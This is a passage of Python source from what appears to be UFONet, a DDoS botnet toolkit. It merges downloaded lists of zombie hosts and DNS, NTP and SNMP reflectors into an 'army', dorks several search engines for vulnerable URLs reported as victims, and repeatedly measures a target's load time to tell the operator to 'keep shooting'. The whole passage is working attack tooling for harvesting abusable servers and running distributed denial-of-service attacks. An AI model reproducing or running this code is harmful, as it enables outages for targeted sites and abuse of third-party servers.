  3914. for _ in f:
  3915. num_troops = num_troops + 1
  3916. print("[Info] Aliens : " + str(num_troops))
  3917. num_robots = 0
  3918. with open('botnet/robots.txt') as f: # droids
  3919. for _ in f:
  3920. num_robots = num_robots + 1
  3921. print("[Info] Droids : " + str(num_robots))
  3922. num_drones = 0
  3923. with open('botnet/drones.txt') as f: # ucavs
  3924. for _ in f:
  3925. num_drones = num_drones + 1
  3926. print("[Info] UCAVs : " + str(num_drones))
  3927. num_reflectors = 0
  3928. with open('botnet/reflectors.txt') as f: # rpcs
  3929. for _ in f:
  3930. num_reflectors = num_reflectors + 1
  3931. print("[Info] X-RPCs : " + str(num_reflectors))
  3932. num_crystals = 0
  3933. with open('botnet/crystals.txt') as f: # dns
  3934. for _ in f:
  3935. num_crystals = num_crystals + 1
  3936. print("[Info] DNSs : " + str(num_crystals))
  3937. num_warps = 0
  3938. with open('botnet/warps.txt') as f: # ntp
  3939. for _ in f:
  3940. num_warps = num_warps + 1
  3941. print("[Info] NTPs : " + str(num_warps))
  3942. num_bosons = 0
  3943. with open('botnet/bosons.txt') as f: # snmp
  3944. for _ in f:
  3945. num_bosons = num_bosons + 1
  3946. print("[Info] SNMPs : " + str(num_bosons))
  3947. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  3948. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  3949. print('-'*12)
  3950. if not self.options.forceyes:
  3951. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  3952. print('-'*25)
  3953. else:
  3954. update_reply = "Y"
  3955. if update_reply == "n" or update_reply == "N":
  3956. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3957. os.remove('botnet/troops.txt') # remove aliens/troops file
  3958. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3959. os.remove('botnet/robots.txt') # remove droids/robots file
  3960. os.remove('botnet/drones.txt') # remove ucavs/drones file
  3961. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  3962. os.remove('botnet/warps.txt') # remove ntp/warps file
  3963. os.remove('botnet/bosons.txt') # remove snmp/bosons file
  3964. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  3965. print('-'*25)
  3966. print("\n[AI] "+self.exit_msg+"\n")
  3967. else:
  3968. zombies_ready = []
  3969. f = open('botnet/abductions.txt')
  3970. abductions = f.readlines()
  3971. f.close()
  3972. fz = open(self.zombies_file)
  3973. zombies = fz.readlines()
  3974. fz.close()
  3975. for abduction in abductions:
  3976. abduction = abduction.replace('\n','')
  3977. if abduction not in zombies:
  3978. zombies_ready.append(abduction)
  3979. else:
  3980. pass
  3981. self.update_zombies(zombies_ready)
  3982. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3983. aliens_ready = []
  3984. f = open('botnet/troops.txt')
  3985. troops = f.readlines()
  3986. f.close()
  3987. fz = open(self.aliens_file)
  3988. aliens = fz.readlines()
  3989. fz.close()
  3990. for alien in troops:
  3991. alien = alien.replace('\n','')
  3992. if alien not in aliens:
  3993. aliens_ready.append(alien)
  3994. else:
  3995. pass
  3996. self.update_aliens(aliens_ready)
  3997. os.remove('botnet/troops.txt') # remove aliens/troops file
  3998. dnss_ready = []
  3999. f = open('botnet/crystals.txt')
  4000. crystals = f.readlines()
  4001. f.close()
  4002. fz = open(self.dnss_file)
  4003. dnss = fz.readlines()
  4004. fz.close()
  4005. for crystal in crystals:
  4006. crystal = crystal.replace('\n','')
  4007. if crystal not in dnss:
  4008. dnss_ready.append(crystal)
  4009. else:
  4010. pass
  4011. self.update_dnss(dnss_ready)
  4012. os.remove('botnet/crystals.txt') # remove dns/crystals file
  4013. droids_ready = []
  4014. f = open('botnet/robots.txt')
  4015. robots = f.readlines()
  4016. f.close()
  4017. fz = open(self.droids_file)
  4018. droids = fz.readlines()
  4019. fz.close()
  4020. for droid in robots:
  4021. droid = droid.replace('\n','')
  4022. if droid not in droids:
  4023. droids_ready.append(droid)
  4024. else:
  4025. pass
  4026. self.update_droids(droids_ready)
  4027. os.remove('botnet/robots.txt') # remove droids/robots file
  4028. ucavs_ready = []
  4029. f = open('botnet/drones.txt')
  4030. drones = f.readlines()
  4031. f.close()
  4032. fz = open(self.ucavs_file)
  4033. ucavs = fz.readlines()
  4034. fz.close()
  4035. for drone in drones:
  4036. drone = drone.replace('\n','')
  4037. if drone not in ucavs:
  4038. ucavs_ready.append(drone)
  4039. else:
  4040. pass
  4041. self.update_ucavs(ucavs_ready)
  4042. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  4043. rpcs_ready = []
  4044. f = open('botnet/reflectors.txt')
  4045. reflectors = f.readlines()
  4046. f.close()
  4047. fz = open(self.rpcs_file)
  4048. rpcs = fz.readlines()
  4049. fz.close()
  4050. for reflector in reflectors:
  4051. reflector = reflector.replace('\n','')
  4052. if reflector not in rpcs:
  4053. rpcs_ready.append(reflector)
  4054. else:
  4055. pass
  4056. self.update_rpcs(rpcs_ready)
  4057. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  4058. ntps_ready = []
  4059. f = open('botnet/warps.txt')
  4060. warps = f.readlines()
  4061. f.close()
  4062. fz = open(self.ntps_file)
  4063. ntps = fz.readlines()
  4064. fz.close()
  4065. for warp in warps:
  4066. warp = warp.replace('\n','')
  4067. if warp not in ntps:
  4068. ntps_ready.append(warp)
  4069. else:
  4070. pass
  4071. self.update_ntps(ntps_ready)
  4072. os.remove('botnet/warps.txt') # remove NTP/warps file
  4073. snmps_ready = []
  4074. f = open('botnet/bosons.txt')
  4075. bosons = f.readlines()
  4076. f.close()
  4077. fz = open(self.snmps_file)
  4078. snmps = fz.readlines()
  4079. fz.close()
  4080. for boson in bosons:
  4081. boson = boson.replace('\n','')
  4082. if boson not in snmps:
  4083. snmps_ready.append(boson)
  4084. else:
  4085. pass
  4086. self.update_snmps(snmps_ready)
  4087. os.remove('botnet/bosons.txt') # remove SNMP/bosons file
  4088. print("\n[Info] [AI] Botnet updated! -> ;-)")
  4089. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  4090. if not self.options.forceyes: # ask for update everything
  4091. print('-'*25 + "\n")
  4092. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  4093. else:
  4094. update_reply = "Y"
  4095. if update_reply == "n" or update_reply == "N":
  4096. print("\n[AI] "+self.exit_msg+"\n")
  4097. return
  4098. else:
  4099. try:
  4100. update_gui = self.update_gui_data() # update GUI data
  4101. except:
  4102. print('-'*25 +"\n")
  4103. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  4104. print('-'*25)
  4105. print("\n[AI] "+self.exit_msg+"\n")
  4106. return
  4107. def uploading_github_list(self):
  4108. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  4109. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  4110. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  4111. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  4112. print('='*22 + '\n')
  4113. print("[AI] "+self.exit_msg+"\n")
  4114. def create_web_interface(self):
  4115. # launch webserver+gui
  4116. from .webgui import ClientThread
  4117. import webbrowser
  4118. host = '0.0.0.0'
  4119. port = 9999
  4120. try:
  4121. webbrowser.open('http://127.0.0.1:9999', new=1)
  4122. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4123. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  4124. tcpsock.bind((host,port))
  4125. while True:
  4126. tcpsock.listen(4)
  4127. (clientsock, (ip, port)) = tcpsock.accept()
  4128. newthread = ClientThread(ip, port, clientsock)
  4129. newthread.start()
  4130. except (KeyboardInterrupt, SystemExit):
  4131. sys.exit()
  4132. def extract_dorks(self):
  4133. # extract dorks from file (ex: 'dorks.txt')
  4134. try:
  4135. f = open(self.dorks_file)
  4136. dorks = f.readlines()
  4137. dorks = [ dork.replace('\n','') for dork in dorks ]
  4138. f.close()
  4139. if not dorks:
  4140. if not options.autosearch:
  4141. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  4142. return
  4143. else:
  4144. return dorks
  4145. except:
  4146. if not options.autosearch:
  4147. if os.path.exists(self.dorks_file) == True:
  4148. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  4149. return #sys.exit(2)
  4150. else:
  4151. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  4152. return #sys.exit(2)
  4153. else:
  4154. return
  4155. def _engine_query_string(self, dork):
  4156. options = self.options
  4157. if options.search:
  4158. return options.search, 'instreamset:(url):"' + str(options.search) + '"'
  4159. if options.dorks or options.autosearch:
  4160. return dork, 'instreamset:(url):"' + str(dork) + '"'
  4161. return dork, str(dork)
  4162. def _engine_fetch(self, url, headers, timeout=10):
  4163. options = self.options
  4164. if options.proxy:
  4165. self.proxy_transport(options.proxy)
  4166. req = urllib.request.Request(url, None, headers)
  4167. return urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8', errors='replace')
  4168. def _engine_failure_prompt(self, engine_name):
  4169. options = self.options
  4170. print('[Error] [AI] Unable to connect to: ' + engine_name + '\n')
  4171. if options.allengines or options.autosearch:
  4172. return False
  4173. if not self.options.forceyes:
  4174. r = input("[AI] Do you want to try a different search engine? (Y/n)")
  4175. else:
  4176. r = "Y"
  4177. if r == "n" or r == "N":
  4178. return False
  4179. print("\nSearch engines available:")
  4180. print('-'*25)
  4181. for e in self.search_engines:
  4182. print("+ "+e)
  4183. print('-'*25)
  4184. print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
  4185. return False
  4186. def _bing_decode(self, raw):
  4187. raw = raw.replace('&amp;', '&')
  4188. m = re.search(r'[?&]u=a1([^&]+)', raw)
  4189. if not m:
  4190. return raw
  4191. token = m.group(1)
  4192. try:
  4193. b64 = token + '=' * ((4 - len(token) % 4) % 4)
  4194. import base64 as _b
  4195. return _b.urlsafe_b64decode(b64).decode('utf-8', errors='replace')
  4196. except Exception:
  4197. return raw
  4198. def _yahoo_decode(self, raw):
  4199. if 'RU=' in raw:
  4200. piece = raw.rsplit('RU=', 1)[1]
  4201. piece = piece.split('/RK=', 1)[0]
  4202. return urllib.parse.unquote(piece)
  4203. return raw
  4204. def search_zombies(self, dork, zombies_found):
  4205. options = self.options
  4206. zombies = []
  4207. if not options.engine:
  4208. options.engine = 'duck'
  4209. engine = options.engine
  4210. sep, q = self._engine_query_string(dork)
  4211. if options.num_results:
  4212. try:
  4213. num_results = int(options.num_results)
  4214. except:
  4215. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  4216. num_results = 10
  4217. else:
  4218. num_results = 10
  4219. self.user_agent = random.choice(self.agents).strip()
  4220. headers = {'User-Agent': self.user_agent, 'Referer': self.referer, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5'}
  4221. url_links = []
  4222. if engine == 'bing':
  4223. url = 'https://www.bing.com/search?' + urllib.parse.urlencode({'q': q, 'first': 0})
  4224. if options.verbose:
  4225. print("[Info] [AI] [DORKING] Query used: " + url)
  4226. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4227. try:
  4228. req_reply = self._engine_fetch(url, headers)
  4229. except Exception:
  4230. self._engine_failure_prompt('bing'); return
  4231. raw = re.findall(r'<a\s+class="tilk"[^>]*href="([^"]+)"', req_reply)
  4232. if not raw:
  4233. raw = re.findall(r'<h2><a[^>]+href="([^"]+)"[^>]*>', req_reply)
  4234. url_links = [self._bing_decode(r) for r in raw]
  4235. elif engine == 'duck':
  4236. if options.verbose:
  4237. print("[Info] [AI] [DORKING] Query used: ddgs.DDGS().text(" + repr(q) + ")")
  4238. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4239. try:
  4240. DDGS = None
  4241. try:
  4242. import warnings
  4243. with warnings.catch_warnings():
  4244. warnings.simplefilter('ignore')
  4245. from ddgs import DDGS as _DDGS
  4246. DDGS = _DDGS
  4247. except ImportError:
  4248. pass
  4249. if DDGS is None:
  4250. try:
  4251. import warnings
  4252. with warnings.catch_warnings():
  4253. warnings.simplefilter('ignore')
  4254. from duckduckgo_search import DDGS as _DDGS
  4255. DDGS = _DDGS
  4256. except ImportError:
  4257. from core._ensure import ensure
  4258. if ensure('ddgs', 'ddgs') is None:
  4259. self._engine_failure_prompt('duck'); return
  4260. from ddgs import DDGS as _DDGS
  4261. DDGS = _DDGS
  4262. if options.proxy:
  4263. self.proxy_transport(options.proxy)
  4264. attempt = 0
  4265. req_reply = None
  4266. while attempt < 3:
  4267. try:
  4268. req_reply = list(DDGS().text(q, safesearch='off', max_results=num_results))
  4269. break
  4270. except Exception as e:
  4271. attempt += 1
  4272. if 'Ratelimit' in str(e) or '202' in str(e):
  4273. if options.verbose:
  4274. print('[Info] [AI] [DORKING] duck ratelimited, retry ' + str(attempt) + '/3 after backoff...')
  4275. time.sleep(2 * attempt)
  4276. continue
  4277. raise
  4278. if req_reply is None:
  4279. raise RuntimeError('duck: exhausted retries (ratelimit)')
  4280. except Exception:
  4281. self._engine_failure_prompt('duck'); return
  4282. for r in req_reply:
  4283. if isinstance(r, dict) and r.get('href'):
  4284. url_links.append(r['href'])
  4285. elif engine == 'brave':
  4286. url = 'https://search.brave.com/search?' + urllib.parse.urlencode({'q': q})
  4287. if options.verbose:
  4288. print("[Info] [AI] [DORKING] Query used: " + url)
  4289. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4290. try:
  4291. req_reply = self._engine_fetch(url, headers)
  4292. except Exception:
  4293. self._engine_failure_prompt('brave'); return
  4294. for pat in (r'<a\s+href="([^"]+)"[^>]*class="(?:h|result-header|snippet-title)"',
  4295. r'<a class="(?:h|result-header|snippet-title)"\s+href="([^"]+)"',
  4296. r'<a\s+href="(https?://[^"]+)"\s+rel="noopener'):
  4297. url_links = re.findall(pat, req_reply)
  4298. if url_links:
  4299. break
  4300. elif engine == 'mojeek':
  4301. url = 'https://www.mojeek.com/search?' + urllib.parse.urlencode({'q': q})
  4302. if options.verbose:
  4303. print("[Info] [AI] [DORKING] Query used: " + url)
  4304. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4305. try:
  4306. req_reply = self._engine_fetch(url, headers)
  4307. except Exception:
  4308. self._engine_failure_prompt('mojeek'); return
  4309. for pat in (r'<a class="ob"\s+href="([^"]+)"',
  4310. r'<a class="title"\s+href="([^"]+)"',
  4311. r'<a\s+href="(https?://[^"]+)"[^>]*class="title"'):
  4312. url_links = re.findall(pat, req_reply)
  4313. if url_links:
  4314. break
  4315. elif engine == 'yahoo':
  4316. url = 'https://search.yahoo.com/search?' + urllib.parse.urlencode({'p': q, 'b': 1})
  4317. if options.verbose:
  4318. print("[Info] [AI] [DORKING] Query used: " + url)
  4319. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4320. try:
  4321. req_reply = self._engine_fetch(url, headers)
  4322. except Exception:
  4323. self._engine_failure_prompt('yahoo'); return
  4324. for pat in (r'<a class="d-ib[^"]*"\s+href="([^"]+)"',
  4325. r'<h3 class="title"[^>]*>\s*<a\s+href="([^"]+)"',
  4326. r'<a\s+href="(https?://[^"]+RU=[^"]+)"'):
  4327. raw = re.findall(pat, req_reply)
  4328. if raw:
  4329. url_links = [self._yahoo_decode(r) for r in raw]
  4330. break
  4331. elif engine == 'startpage':
  4332. url = 'https://www.startpage.com/do/search?' + urllib.parse.urlencode({'query': q})
  4333. if options.verbose:
  4334. print("[Info] [AI] [DORKING] Query used: " + url)
  4335. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4336. try:
  4337. req_reply = self._engine_fetch(url, headers)
  4338. except Exception:
  4339. self._engine_failure_prompt('startpage'); return
  4340. for pat in (r'<a class="w-gl__result-title result-link"\s+href="([^"]+)"',
  4341. r'<a class="result-link"\s+href="([^"]+)"',
  4342. r'<a\s+href="([^"]+)"\s+class="result-link"'):
  4343. url_links = re.findall(pat, req_reply)
  4344. if url_links:
  4345. break
  4346. elif engine == 'ecosia':
  4347. url = 'https://www.ecosia.org/search?' + urllib.parse.urlencode({'q': q})
  4348. if options.verbose:
  4349. print("[Info] [AI] [DORKING] Query used: " + url)
  4350. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4351. try:
  4352. req_reply = self._engine_fetch(url, headers)
  4353. except Exception:
  4354. self._engine_failure_prompt('ecosia'); return
  4355. for pat in (r'<a class="result-title"\s+href="([^"]+)"',
  4356. r'<a\s+href="([^"]+)"[^>]*class="result__title"',
  4357. r'<a\s+data-test-id="result-link"\s+href="([^"]+)"'):
  4358. url_links = re.findall(pat, req_reply)
  4359. if url_links:
  4360. break
  4361. else:
  4362. print('[Error] [AI] This search engine is not supported!\n')
  4363. self._engine_failure_prompt(engine); return
  4364. num = num_results
  4365. total_results = 1
  4366. for url in url_links:
  4367. if int(num) < int(total_results):
  4368. break
  4369. total_results = total_results + 1
  4370. url_link = urllib.parse.unquote(url)
  4371. url_link = url_link.rsplit(sep, 1)[0] + sep
  4372. if 'href="' in url_link:
  4373. url_link = url_link.rsplit('href="', 1)[1]
  4374. if "instreamset" in url_link:
  4375. url_link = ""
  4376. if '" ' in url_link:
  4377. url_link = url_link.rsplit('" ', 1)[1]
  4378. if engine in url_link:
  4379. url_link = ""
  4380. if 'http' not in url_link:
  4381. url_link = ""
  4382. else:
  4383. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "":
  4384. print('+Victim found: ' + url_link)
  4385. zombies.append(url_link)
  4386. if len(zombies) == 0: # print dorking results
  4387. print("[Info] [AI] NOT any NEW victim(s) found for this query!\n")
  4388. if not options.dorks:
  4389. if not options.autosearch:
  4390. if not self.options.forceyes:
  4391. return #sys.exit(2)
  4392. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  4393. print("")
  4394. return zombies
  4395. def check_nat(self):
  4396. # check for NAT configuration
  4397. options = self.options
  4398. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  4399. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  4400. check_ip_service = None
  4401. if not tor_reply or 'Congratulations' not in tor_reply:
  4402. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  4403. else:
  4404. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  4405. self.nat_error_flag = "ON"
  4406. return #sys.exit(2)
  4407. self.pub_ip = self._public_ip_via_dns()
  4408. if self.pub_ip:
  4409. check_ip_service = 'OpenDNS (208.67.222.222)'
  4410. else:
  4411. self.pub_ip = self._public_ip_via_http()
  4412. check_ip_service = self.check_ip_service1
  4413. if not self.pub_ip:
  4414. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  4415. self.nat_error_flag = "ON"
  4416. return
  4417. print(" + Public: " + self.pub_ip + " | "+check_ip_service+"\n")
  4418. from core._dns_pool import random_dummy_host
  4419. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  4420. s.connect((random_dummy_host(), 0)) # UDP connect doesn't send packets (black magic)
  4421. self.local_ip = s.getsockname()[0]
  4422. print(" + Local: " + self.local_ip + "\n")
  4423. print('='*22 + '\n')
  4424. def extract_ucavs(self):
  4425. # extract ucavs from file
  4426. options = self.options
  4427. try:
  4428. f = open(self.ucavs_file)
  4429. ucavs = f.readlines()
  4430. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  4431. f.close()
  4432. if not ucavs:
  4433. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  4434. self.options.disableucavs = True
  4435. return
  4436. else:
  4437. return ucavs
  4438. except:
  4439. if os.path.exists(self.ucavs_file) == True:
  4440. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  4441. return #sys.exit(2)
  4442. else:
  4443. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  4444. return #sys.exit(2)
  4445. def discarding_ucavs(self, ucav, ucavs):
  4446. if ucav in self.discard_ucavs:
  4447. ucavs.remove(ucav)
  4448. if self.options.verbose:
  4449. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  4450. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4451. return ucavs
  4452. def send_ucavs(self, ucavs):
  4453. # extract external status checkers, perform a request and check results
  4454. time.sleep(5) # aiming (multi-threading flow time compensation)
  4455. if not self.options.disablepurge:
  4456. if not ucavs: # return when not any working
  4457. self.options.disableucavs = True
  4458. return
  4459. options = self.options
  4460. target = self.options.target
  4461. shuffle(ucavs) # shuffle ucavs order, each round :-)
  4462. if not self.options.disablepurge:
  4463. for ucav in ucavs:
  4464. if not ucav.startswith('http'): # discarded inmediately
  4465. self.discard_ucavs.append(ucav)
  4466. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4467. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  4468. if not self.options.disablepurge:
  4469. if not ucavs: # return when not any working
  4470. self.options.disableucavs = True
  4471. return
  4472. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  4473. for ucav in ucavs:
  4474. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4475. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4476. if target.startswith("http://"): # parse target for some checkers
  4477. target = target.replace('http://','')
  4478. elif target.startswith("https://"):
  4479. target = target.replace('https://','')
  4480. url = ucav + target
  4481. t = urlparse(ucav)
  4482. name_ucav = t.netloc
  4483. if name_ucav == "":
  4484. name_ucav = ucav
  4485. if options.verbose:
  4486. print(("[Info] [UCAVs] Sniping: " + url))
  4487. try:
  4488. if options.proxy: # set proxy
  4489. self.proxy_transport(options.proxy)
  4490. if options.timeout: # set timeout
  4491. ucav_timeout = options.timeout
  4492. else:
  4493. ucav_timeout = 5
  4494. if ucav_timeout < 1:
  4495. ucav_timeout = 5
  4496. req = urllib.request.Request(url, None, headers)
  4497. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  4498. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  4499. except:
  4500. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  4501. if not self.options.disablepurge:
  4502. self.discard_ucavs.append(ucav)
  4503. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4504. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4505. target_reply = ""
  4506. if target_reply == "": # check for target's status resolved by [UCAVs]
  4507. pass
  4508. else:
  4509. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  4510. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  4511. self.num_is_up = self.num_is_up + 1
  4512. else:
  4513. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  4514. self.num_is_down = self.num_is_down + 1
  4515. if self.options.verbose:
  4516. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  4517. self.extra_zombies_lock = False # [ARMY] have finished
  4518. def extract_median(self, num_list):
  4519. # extract median from a list of numbers
  4520. import statistics
  4521. int_num = []
  4522. for num in num_list:
  4523. num = float(num)
  4524. int_num.append(num)
  4525. return statistics.median(int_num)
  4526. def check_is_loading(self, target):
  4527. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  4528. self.start = None
  4529. self.stop = None
  4530. print('\n---------')
  4531. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  4532. if target.endswith(""):
  4533. target.replace("", "/")
  4534. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4535. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4536. try:
  4537. req = urllib.request.Request(target, None, headers)
  4538. if self.options.proxy: # set proxy
  4539. self.proxy_transport(self.options.proxy)
  4540. if self.options.timeout: # set timeout
  4541. try:
  4542. timeout = int(self.options.timeout)
  4543. except:
  4544. timeout = 5
  4545. else:
  4546. timeout = 5
  4547. if timeout < 1:
  4548. timeout = 5
  4549. self.start = time.time()
  4550. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  4551. header = urllib.request.urlopen(req, context=self.ctx).info()
  4552. self.stop = time.time()
  4553. except:
  4554. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  4555. return
  4556. try:
  4557. s, size_name = self.convert_size(len(target_reply))
  4558. self.loadcheck_size_list.append(s) # add record to size list
  4559. size = '%s %s' % (s,size_name)
  4560. except:
  4561. size = "Error!"
  4562. try:
  4563. time_required = self.stop - self.start
  4564. load = self.convert_time(time_required)
  4565. self.loadcheck_load_list.append(load) # add record to load list
  4566. except:
  4567. load = "Error!"
  4568. self.loadcheck_counter = self.loadcheck_counter + 1
  4569. print(' -Total tests:', self.loadcheck_counter, "\n")
  4570. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  4571. lsm = self.extract_median(self.loadcheck_size_list)
  4572. if lsm is not None:
  4573. self.loadcheck_size_median = str(lsm) + " " + size_name
  4574. else:
  4575. self.loadcheck_size_median = None
  4576. llm = self.extract_median(self.loadcheck_load_list)
  4577. if llm is not None:
  4578. self.loadcheck_load_median = str(llm) + " seconds"
  4579. else:
  4580. self.loadcheck_load_median = None
  4581. if self.loadcheck_counter == 2: # first round
  4582. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4583. print(' -Bytes in (this round) :', size)
  4584. if self.loadcheck_size_median is not None:
  4585. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4586. print(' ----')
  4587. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4588. print(' -Load time (this round) :', load, "seconds")
  4589. if self.loadcheck_load_median is not None:
  4590. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4591. else:
  4592. print("\n")
  4593. self.loadcheck_size_max = None
  4594. self.loadcheck_size_min = None
  4595. self.loadcheck_load_max = None
  4596. self.loadcheck_load_min = None
  4597. elif self.loadcheck_counter > 2: # rest of rounds
  4598. lsmax = max(self.loadcheck_size_list)
  4599. if lsmax is not None:
  4600. self.loadcheck_size_max = str(lsmax) + " " + size_name
  4601. else:
  4602. self.loadcheck_size_max = None
  4603. lsmin = min(self.loadcheck_size_list)
  4604. if lsmin is not None:
  4605. self.loadcheck_size_min = str(lsmin) + " " + size_name
  4606. else:
  4607. self.loadcheck_size_min = None
  4608. llmax = max(self.loadcheck_load_list)
  4609. if llmax is not None:
  4610. self.loadcheck_load_max = str(llmax) + " seconds"
  4611. else:
  4612. self.loadcheck_load_max = None
  4613. llmin = min(self.loadcheck_load_list)
  4614. if llmin is not None:
  4615. self.loadcheck_load_min = str(llmin) + " seconds"
  4616. else:
  4617. self.loadcheck_load_min = None
  4618. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4619. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  4620. print(' -Bytes in (this round) :', size)
  4621. if self.loadcheck_size_max is not None:
  4622. print(' -Bytes in (max) :', self.loadcheck_size_max)
  4623. if self.loadcheck_size_min is not None:
  4624. print(' -Bytes in (min) :', self.loadcheck_size_min)
  4625. if self.loadcheck_size_median is not None:
  4626. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4627. print(' ----')
  4628. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4629. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  4630. print(' -Load time (this round) :', load, "seconds")
  4631. if self.loadcheck_load_max is not None:
  4632. print(' -Load time (max) :', self.loadcheck_load_max)
  4633. if self.loadcheck_load_min is not None:
  4634. print(' -Load time (min) :', self.loadcheck_load_min)
  4635. if self.loadcheck_load_median is not None:
  4636. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4637. else:
  4638. print("\n")
  4639. if self.loadcheck_prev_load < load: # target is loading more slowly
  4640. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  4641. elif self.loadcheck_prev_load == load: # inmutable target
  4642. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  4643. elif self.loadcheck_prev_load > load: # is target defending?
  4644. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  4645. else:
  4646. print(' -Bytes in (this round) :', size)
  4647. print(' -Load time (this round):', load, "seconds\n")
  4648. self.loadcheck_first_size = size
  4649. self.loadcheck_first_load = load
  4650. self.loadcheck_size_median = None
  4651. self.loadcheck_load_median = None
  4652. self.loadcheck_size_max = None
  4653. self.loadcheck_size_min = None
  4654. self.loadcheck_load_max = None
  4655. self.loadcheck_load_min = None
  4656. self.loadcheck_prev_size = size # record previous size
  4657. self.loadcheck_prev_load = load # record previous load
  4658. def convert_size(self, size):
  4659. if (size == 0):
  4660. return '0 B'
  4661. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  4662. i = int(math.floor(math.log(size,1024)))
  4663. p = math.pow(1024,i)
  4664. s = round(size/p,2)
  4665. return s, size_name[i]
  4666. def convert_time(self, time):
  4667. return '%.2f' % time
